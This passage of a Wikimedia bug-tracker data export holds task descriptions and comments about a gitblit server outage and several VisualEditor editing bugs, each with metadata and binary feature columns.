ago"",""d"":""2013-07-21"",""i"":"""",""s"":0,""c"":""#1085a6"",""wc"":0},{""r"":""mediawiki/extensions/ArticleFeedbackv5.git"",""n"":""ArticleFeedbackv5"",""p"":""mediawiki/extensions/"",""t"":""10 hours ago"",""d"":""2013-07-21"",""i"":"""",""s"":0,""c"":""#a65110"",""wc"":0},{""r"":""mediawiki/extensions/Ads.git"",""n"":""Ads"",""p"":""mediawiki/extensions/"",""t"":""10 hours ago"",""d"":""2013-07-21"",""i"":"""",""s"":0,""c"":""#10a3a6"",""wc"":0},{""r"":""mediawiki/extensions/AbuseFilter.git"",""n"":""AbuseFilter"",""p"":""mediawiki/extensions/"",""t"":""10 hours ago"",""d"":""2013-07-21"",""i"":"""",""s"":0,""c"":""#4aa610"",""wc"":0},{""r"":""mediawiki/extensions/APC.git"",""n"":""APC"",""p"":""mediawiki/extensions/"",""t"":""10 hours ago"",""d"":""2013-07-21"",""i"":"""",""s"":0,""c"":""#6c10a6"",""wc"":0},{""r"":""openzim.git"",""n"":""openzim"",""p"":"""",""t"":""15 hours ago"",""d"":""2013-07-21"",""i"":"""",""s"":0,""c"":""#a66310"",""wc"":0},{""r"":""mediawiki/extensions/WikibaseDataModel.git"",""n"":""WikibaseDataModel"",""p"":""mediawiki/extensions/"",""t"":""15 hours ago"",""d"":""2013-07-21"",""i"":"""",""s"":0,""c"":""#6510a6"",""wc"":0},{""r"":""mediawiki/extensions/WikibaseQueryEngine.git"",""n"":""WikibaseQueryEngine"",""p"":""mediawiki/extensions/"",""t"":""16 hours ago"",""d"":""2013-07-21"",""i"":"""",""s"":0,""c"":""#a68f10"",""wc"":0},{""r"":""mediawiki/extensions/UpdateMediaWiki.git"",""n"":""UpdateMediaWiki"",""p"":""mediawiki/extensions/"",""t"":""16 hours ago"",""d"":""2013-07-21"",""i"":"""",""s"":0,""c"":""#2910a6"",""wc"":0},{""r"":""mediawiki/extensions/Serialization.git"",""n"":""Serialization"",""p"":""mediawiki/extensions/"",""t"":""16 hours ago"",""d"":""2013-07-21"",""i"":"""",""s"":0,""c"":""#1045a6"",""wc"":0},{""r"":""mediawiki/extensions/WikibaseDatabase.git"",""n"":""WikibaseDatabase"",""p"":""mediawiki/extensions/"",""t"":""16 hours ago"",""d"":""2013-07-21"",""i"":"""",""s"":0,""c"":""#10a627"",""wc"":0},{""r"":""mediawiki/extensions/Diff.git"",""n"":""Diff"",""p"":""mediawiki/extensions/"",""t"":""17 hours ago"",""d"":""2013-07-21"",""i"":"""",""s"":0,""c"":""#a66a10"",""wc"":0},{""r"":""mediawiki/extensions/Ask.git"",""n"":""Ask"",""p"":""mediawiki/extensions/"",""t"":""17 hours ago"",""d"":""2013-07-21"",""i"":"""",""s"":0,""c"":""#10a67b"",""wc"":0},{""r"":""pywikibot/core.git"",""n"":""core"",""p"":""pywikibot/"",""t"":""21 hours ago"",""d"":""2013-07-21"",""i"":"""",""s"":0,""c"":""#22a610"",""wc"":0}];
+}
+
+/*-->]]>*/</script>
+
+</head>
+
+	<body>
+
+		<!-- page content -->
+		[a metric fuckton of HTML]
+
+		<!-- Override Bootstrap's responsive menu background highlighting -->
+		<style>
+		@media (max-width: 979px) {
+			.nav-collapse .nav > li > a:hover, .nav-collapse .dropdown-menu a:hover {
+				background-color: #002060;
+			}
+			
+			.navbar div > ul .dropdown-menu li a {
+				color: #ccc;
+			}
+		}
+		</style>
+		
+		<!-- Include scripts at end for faster page loading -->
+		<script type=""text/javascript"" src=""bootstrap/js/jquery.js""></script>
+		<script type=""text/javascript"" src=""bootstrap/js/bootstrap.js""></script>		
+	</body>
+</html>
+real	10m1.110s
+user	0m0.018s
+sys	0m0.028s",,,1374468963,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-m7yoxj62gdjohzchm7zw,task_subcomment,,True,c1,3,False,,,3,,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,1,1,1,1,1,0,1,1,1,0,1,0,1,1,1,1,0,1,0,0,1
+242552,git.wikimedia.org (gitblit) goes down when getting overloaded by Googlebot,"It's happening again. :-(
+
+$ time curl https://git.wikimedia.org
+<!DOCTYPE HTML PUBLIC ""-//IETF//DTD HTML 2.0//EN"">
+<html><head>
+<title>502 Proxy Error</title>
+</head><body>
+<h1>Proxy Error</h1>
+<p>The proxy server received an invalid
+response from an upstream server.<br />
+The proxy server could not handle the request <em><a href=""/"">GET&nbsp;/</a></em>.<p>
+Reason: <strong>Error reading from remote server</strong></p></p>
+</body></html>
+
+real	12m1.110s
+user	0m0.015s
+sys	0m0.021s",,,1374468155,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-m7yoxj62gdjohzchm7zw,task_subcomment,,True,c1,3,False,,,3,,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,1,1,0,0,1,1,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,1,0,1,0,1,0,1,1,1,0,1,0,1,1,0,1,0,1,0,0,1
+242547,git.wikimedia.org (gitblit) goes down when getting overloaded by Googlebot,"Restarted the service. Two things:
+
+A) I'm doing some logging this time so I can figure out why it's crashing
+B) I'm going to finish puppetizing and packaging this starting tomorrow so it'll take care of this better
+
+Hopefully we can find an easy fix for this, but (B) is necessary anyway.",,,1374450350,,PHID-USER-oetk6bbl6omm354ejz3b,False,,,PHID-TASK-m7yoxj62gdjohzchm7zw,task_subcomment,,True,c1,3,False,,,2,,1,0,0,0,0,1,1,0,0,0,0,1,0,0,0,1,0,1,1,0,1,0,0,0,1,1,0,0,1,1,0,1,1,1,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,1,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,1,0,0
+242542,git.wikimedia.org (gitblit) goes down when getting overloaded by Googlebot,git.wikimedia.org being down is highly disruptive to support work in #mediawiki.,,,1374442461,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-m7yoxj62gdjohzchm7zw,task_subcomment,,True,c1,3,False,,,2,,0,0,1,0,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+242538,git.wikimedia.org (gitblit) goes down when getting overloaded by Googlebot,"This is probably a duplicate of bug 51656, but I'll just add that bug as a see also to this bug.
+
+Confirming the current issue:
+
+$ curl https://git.wikimedia.org/
+<!DOCTYPE HTML PUBLIC ""-//IETF//DTD HTML 2.0//EN"">
+<html><head>
+<title>502 Proxy Error</title>
+</head><body>
+<h1>Proxy Error</h1>
+<p>The proxy server received an invalid
+response from an upstream server.<br />
+The proxy server could not handle the request <em><a href=""/"">GET&nbsp;/</a></em>.<p>
+Reason: <strong>Error reading from remote server</strong></p></p>
+</body></html>",,,1374427922,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-m7yoxj62gdjohzchm7zw,task_subcomment,,True,c1,3,False,,,2,,0,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,1,1,1,1,1,1,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,1,0,1,0,1,0,0,0,0,0,1,1,1,0,1,1,0,0,1,0,1,0,1,0,1,1,1,0,1,0,1,1,0,1,0,1,0,0,1
+53765,VisualEditor: Bypass browser blacklist,"Could we have a way to bypass the browser blacklist. e.g.
+1. a user preference to ignore the blacklist during initialisation, or
+2. ?debug=true bypasses blacklist,
+3. a test-wiki where the blacklist is empty/ignored, or
+4. a simple way to re-run VE init from JS console
+
+This will allow mere mortals to help identify bugs with unsupported browsers.
+
+For option four, we can modify the blacklist, like so:
+
+JS> delete mw.libs.ve.blacklist.opera;
+
+But im not sure what to do after that.
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=55900",Medium,50.0,1374370800,1381630832.0,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,False,PHID-TASK-iycnxhmj2yiay4bvfsic,task_description,resolved,True,c1,3,False,False,False,2,,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,0,0,1,1,1,1,0,0,0,0,1
+242341,VisualEditor: Bypass browser blacklist,"The code for this enhancement request had already been written before the bug rasied, but wasn't deployed at that time.
+https://gerrit.wikimedia.org/r/#/c/74574/
+Changing from INVALID to FIXED, but maybe it is a dup of another bug?",,,1381630832,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-iycnxhmj2yiay4bvfsic,task_subcomment,,True,c1,3,False,,,14,,0,0,0,1,1,0,1,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,1,1,0,1,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,1,0,0,1,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,0,0,1,1,1,1,0,0,1,1,0,1,0,1,0,0,0
+242334,VisualEditor: Bypass browser blacklist,"You can already bypass the blacklist by using ?vewhitelist=1 - sorry, we should document this somewhere!",,,1377532459,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-iycnxhmj2yiay4bvfsic,task_subcomment,,True,c1,3,True,,,8,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,1,0,0,1,0,1,0,0,0,1,1,0,1,0,0,1,0,0,0,0,1,0,0,0
+242328,VisualEditor: Bypass browser blacklist,"For anyone wanting to bypass it on browser with a decent JS debugger, set a breakpoint on the line 'mw.libs.ve = init' in 
+
+https://bits.wikimedia.org/static-1.22wmf10/extensions/VisualEditor/modules/ve-mw/init/targets/ve.init.mw.ViewPageTarget.init.js
+
+Then execute
+JS> delete init.blacklist.opera
+
+And resume running the VE scripts.
+
+Im guessing this isnt possible on most mobile browsers, so one of option 1-3 or similar would be useful.",,,1374372834,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-iycnxhmj2yiay4bvfsic,task_subcomment,,True,c1,3,False,,,2,,0,1,0,0,0,1,1,0,0,0,1,0,0,0,0,1,0,1,1,1,1,0,0,0,1,0,0,0,0,1,1,1,1,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,0,1,0,1,0,1,1
+53758,Visual editor: issues with removing leading space pre blocks,"When a page with blocks of pre-formatted text that use the leading space in wikitaxt is edited in Visual Editor there are various issues trying to remove the pre-formatted blocks. https://en.wikipedia.org/w/index.php?title=User:Thryduulf/sandbox&oldid=565085889 can be used for testing.
+
+* It is not possible to delete a block on the first line of a page
+* When the pre-formatted block follows a mutli-line template, that template is deleted and the contents of the pre-formatted block becomes normal text on the line above where the template as, appended to any text that was already there.
+* When the pre-formatted block follows a normal line of text or a single line template the contents of the block are appended to the end of that line.
+* When the block follows indented text, the contents are appended to the last line of the indented block, even if that is a line that doesn't exist in wikitext (see {T52995})
+* When the block follows an ordered or unordered list, the text is appended to the last line of the last item in the list
+*When the block follows an image, the contents are appended to the image caption. This is probably depends on {T53624} and so I would expect the same behaviour with tables, but I have not tested that.
+*If the block follows another pre-formatted block, the contents gets appended to the end of that block.
+
+In all cases this can be worked around by inserting and then backspacing a new line at the start of the block.
+
+In cases when there is a line of normal text, a blank line or a single line template before the pre-formatted block then pressing delete at the end of that line appends the contents of the block at the cursor position as normal text.
+
+The differing behaviour of single and multi-line templates may be related to {T53708}
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Medium,50.0,1374347580,1437778276.0,PHID-USER-ysftv67jxeaxdwcakvwo,False,PHID-USER-vixhpqcaqfpdj6impfwy,True,PHID-TASK-4imcgove7xglvcqm25ym,task_description,resolved,True,c1,3,False,False,False,2,,1,0,0,1,1,1,1,0,0,1,1,1,0,0,1,1,0,1,1,0,1,0,0,1,1,1,0,1,1,1,1,1,1,1,0,0,0,0,1,1,0,0,0,1,1,0,0,1,0,1,1,1,0,0,0,0,0,1,1,0,1,1,0,0,1,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,1,1,0,1,0,0,0
+496758,Visual editor: issues with removing leading space pre blocks,"Most of these workflows now work correctly. A few of them don't, so I've filed them separately as T106905 and T106902.",,,1437778276,,PHID-USER-vixhpqcaqfpdj6impfwy,False,,,PHID-TASK-4imcgove7xglvcqm25ym,task_subcomment,,True,c1,3,True,,,107,,1,0,0,0,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,0,1,1,0,0,1,0
+455240,Visual editor: issues with removing leading space pre blocks,I also see instances where [[https://it.wikipedia.org/w/index.php?title=Giorgio_Summaripa&diff=72637884&oldid=72353193|a space pre was *added* ]] while inserting an image around a paragraph. Or maybe that's T68628?,,,1430994055,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-4imcgove7xglvcqm25ym,task_subcomment,,True,c1,3,True,,,96,,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,1,0,1,0,0,1,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,1,0,0,1,0,0,0,1,0,0,1,0,0,1,1,1,1,1,1,0,0,0,0,0,0,0,0,1,0,1,1,0,0,1,1,1,1,0,1,0,0,1
+421326,Visual editor: issues with removing leading space pre blocks,">>! In T53758#1088912, @Aklapper wrote:
+>> * When the pre-formatted block follows a mutli-line template, that template is deleted and the contents of the pre-formatted block becomes normal text on the line above where the template as, appended to any text that was already there.
+> 
+> When exactly is ""that template deleted""? Already by loading the page in VisualEditor? If so I fail to reproduce...
+
+From memory, what I meant by that was that when you have a template that produces more than one line of text that is immediately followed by a block of pre-formatted text that uses the leading space method (i.e. not <pre> tags), removing the leading space also deletes the preceding template and the linebreak between the template and the paragraph above the template. i.e.
+
+Paragraph one.
+Template
+[space]two
+
+becomes
+
+Paragraph one.two
+
+when you try to delete [space]. I don't have time now to test whether this still happens.",,,1425550174,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-4imcgove7xglvcqm25ym,task_subcomment,,True,c1,3,False,,,87,,1,0,0,1,1,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,1,1,0,0,1,0,0,0,1,1,0,1,1,0,0,0,0,0,0,1,0,1,0,0,1,0,1,1,1,0,1,0,0,0,1,0,1,1,1,0,0,0,1,0,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,1,1,1,1,0,1,1,0,1,1,0,1
+420822,Visual editor: issues with removing leading space pre blocks,"> * It is not possible to delete a block on the first line of a page
+
+I managed after removing the text and then putting the cursor in front of the ""Section 1"" heading and pressing Backspace.
+
+> * When the pre-formatted block follows a mutli-line template, that template is deleted and the contents of the pre-formatted block becomes normal text on the line above where the template as, appended to any text that was already there.
+
+When exactly is ""that template deleted""? Already by loading the page in VisualEditor? If so I fail to reproduce...",,,1425486185,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-4imcgove7xglvcqm25ym,task_subcomment,,True,c1,3,True,,,87,,1,0,0,1,1,1,1,0,0,1,1,0,0,0,0,1,0,1,1,0,1,0,0,1,1,1,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,1,0,1,0,1,1,0,1,0,0,1
+242029,Visual editor: issues with removing leading space pre blocks,In this edit https://en.wikipedia.org/w/index.php?title=Morse_code&diff=571916446&oldid=571809074 the multiple leading spaces of a pre-formatted block have been removed while a totally unrelated line was being edited.  The edit summary gives no indication that this was done deliberately so I am assuming this was the result of a bug in VisEd.,,,1378654619,,PHID-USER-imut7wxehhy35ukuzaks,False,,,PHID-TASK-4imcgove7xglvcqm25ym,task_subcomment,,True,c1,3,False,,,9,,0,0,1,1,0,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,1,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,1,0,0,1,0,0,1,1,1,0,0,0,0,0,1,0,0,1,0,0,1,0,0,0,1,1,1,1,0,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,1,0,1,0,1,0,0,0
+53751,"Wikitext warning triggered when editing paragraph with wikitext in it, even though none was added in this edit","In my volunteer mode, I was removing content that was copied from an external site. I didn't add any content at all, but simply deleted text (and a template) and merged the resultant material into a single paragraph.
+
+VisualEditor flagged this as my adding wikimarkup and gave me the nowiki warning. :)
+
+See http://en.wikipedia.org/wiki/File:Wikimarkup_warning_without_case.png which is confusingly titled, because I missed the ""u"" in ""cause.""
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Medium,50.0,1374332100,1416962052.0,PHID-USER-joqqkabmjmvxeucx4ni2,True,PHID-USER-ydswvwhh5pm4lshahjje,True,PHID-TASK-6gr7275ayzz2al57mitp,task_description,resolved,True,c1,3,False,False,False,2,,1,0,0,1,1,1,0,1,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,1,0,0,0,1,0,1,0,1,1,0,0,0,0,1,1,0,1,1,0,0,0,1,0,1,1,1,1,1,1,0,1,0,0,1,0,0,0,1,1,1,0,1,0,1,1,1,1,1,1,0,0,0
+333246,"Wikitext warning triggered when editing paragraph with wikitext in it, even though none was added in this edit",Verified in betalabs.,,,1416959359,,PHID-USER-4alekd35in5tg53zpsl4,True,,,PHID-TASK-6gr7275ayzz2al57mitp,task_subcomment,,True,c1,3,True,,,73,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0
+333197,"Wikitext warning triggered when editing paragraph with wikitext in it, even though none was added in this edit","Change 175336 merged by jenkins-bot:
+Replace hacky wikitext warning listener with sequences
+
+[[https://gerrit.wikimedia.org/r/175336]]",,,1416955369,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-6gr7275ayzz2al57mitp,task_subcomment,,True,c1,3,False,,,73,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,1
+333194,"Wikitext warning triggered when editing paragraph with wikitext in it, even though none was added in this edit","Change 175336 had a related patch set uploaded (by Catrope):
+Replace hacky wikitext warning listener with sequences
+
+[[https://gerrit.wikimedia.org/r/175336]]
+
+#patch-for-review",,,1416955169,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-6gr7275ayzz2al57mitp,task_subcomment,,True,c1,3,False,,,73,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,1,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,1,0,0,1
+241723,"Wikitext warning triggered when editing paragraph with wikitext in it, even though none was added in this edit",Fixing this would cause a serious performance penalty for minor improvement in the user experience. WONTFIXing.,,,1395357064,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-6gr7275ayzz2al57mitp,task_subcomment,,True,c1,3,True,,,37,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0
+241718,"Wikitext warning triggered when editing paragraph with wikitext in it, even though none was added in this edit","I get this error by adding anything to the second paragraph (beginning ""VisualEditor"" at https://office.wikimedia.org/w/index.php?title=User:Mdennis/sandbox&oldid=105896  There are preëxistng (intentional) nowiki's in this paragraph, which may the cause.",,,1390933967,,PHID-USER-uf3buojo4ceizjywvyn5,True,,,PHID-TASK-6gr7275ayzz2al57mitp,task_subcomment,,True,c1,3,False,,,30,,0,1,0,0,0,1,1,0,0,0,1,1,0,0,1,1,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,1,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,1,0,1,1,1,0,0,1,0,0,0
+241712,"Wikitext warning triggered when editing paragraph with wikitext in it, even though none was added in this edit","From bug 53661:
+The Wikitext warning is triggered in some circumstances without the user having
+entered Wikitext. The one cause I can reliably reproduce is where there is
+nowikied markup on the page from a previous edit.
+
+To reproduce:
+1. Load
+https://en.wikipedia.org/w/index.php?title=User:Thryduulf/sandbox3&oldid=571089410&veaction=edit
+2. Click anywhere on the last line of Section number two (the line that
+contains ""[[Manhatan]]"" and an ISBN, both of which are enclosed in nowiki
+tags). 
+
+It seems that the warning is triggered by the existence of wikitext markup in
+the VE editing surface, rather than by its addition.",,,1378458535,,PHID-USER-ysftv67jxeaxdwcakvwo,True,,,PHID-TASK-6gr7275ayzz2al57mitp,task_subcomment,,True,c1,3,False,,,9,,1,0,0,1,0,1,0,0,0,0,1,0,0,0,1,1,0,1,1,0,1,0,0,0,0,0,1,0,1,0,1,1,0,1,1,0,1,0,0,0,0,0,0,1,1,0,0,1,1,1,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,1,1,0,1,0,0,1
+241707,"Wikitext warning triggered when editing paragraph with wikitext in it, even though none was added in this edit",*** Bug 53661 has been marked as a duplicate of this bug. ***,,,1378458424,,PHID-USER-ysftv67jxeaxdwcakvwo,True,,,PHID-TASK-6gr7275ayzz2al57mitp,task_subcomment,,True,c1,3,False,,,9,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+53744,Default whitespace for headings should include spaces before/after ==,"As a follow-up to bug 49428 and bug 50771, default whitespace for headings should includespaces before/after ==.
+
+Or in other words: prefer ""== Heading =="" to ""==Heading=="".
+
+(While this might seem minor, the first style was enforced at pl.wp with automated tools since ever and editors gets annoyed when VE changes it. Reported at https://pl.wikipedia.org/wiki/Wikipedia:VisualEditor/Opinie#sprz.C4.85tanie_kodu )
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement",Medium,50.0,1374320940,1386965698.0,PHID-USER-wkpnidxoctuhawexig5p,False,,False,PHID-TASK-eebs7mwekgwvhg5ap6qk,task_description,resolved,True,c1,3,True,False,False,2,,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,1,1,1,1,0,0,0,1,0,1,1,0,1,1,0,1,0,1,1,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,1,1,0,1,0,0,0
+241360,Default whitespace for headings should include spaces before/after ==,"Change 101318 merged by GWicke:
+(Bug 51744) Add space around = chars in new headings
+
+https://gerrit.wikimedia.org/r/101318",,,1386964645,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-eebs7mwekgwvhg5ap6qk,task_subcomment,,True,c1,3,False,,,23,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+241355,Default whitespace for headings should include spaces before/after ==,"Change 101275 merged by GWicke:
+Merge ""(Bug 51744) Add space around = chars in new headings""
+
+https://gerrit.wikimedia.org/r/101275",,,1386964633,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-eebs7mwekgwvhg5ap6qk,task_subcomment,,True,c1,3,False,,,23,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,1,0,0,1,0,0,0,0,0,0,1
+241349,Default whitespace for headings should include spaces before/after ==,"Change 101318 had a related patch set uploaded by GWicke:
+(Bug 51744) Add space around = chars in new headings
+
+https://gerrit.wikimedia.org/r/101318",,,1386964508,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-eebs7mwekgwvhg5ap6qk,task_subcomment,,True,c1,3,False,,,23,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+241343,Default whitespace for headings should include spaces before/after ==,"Change 101275 had a related patch set uploaded by GWicke:
+Merge ""(Bug 51744) Add space around = chars in new headings""
+
+https://gerrit.wikimedia.org/r/101275",,,1386964432,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-eebs7mwekgwvhg5ap6qk,task_subcomment,,True,c1,3,False,,,23,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,1,0,0,1,0,1,0,0,0,0,0
+241337,Default whitespace for headings should include spaces before/after ==,Yes. Will be deployed today. Closing this bug now.,,,1386171623,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-eebs7mwekgwvhg5ap6qk,task_subcomment,,True,c1,3,True,,,22,,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0
+241331,Default whitespace for headings should include spaces before/after ==,I assume this is fixed now? Thank you!,,,1386166246,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-eebs7mwekgwvhg5ap6qk,task_subcomment,,True,c1,3,True,,,22,,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,1,0,0,1,0,0,1,0,0,0,0,0,1,0,0,1,0,0,1,0,0,0,0,0,0,0,0
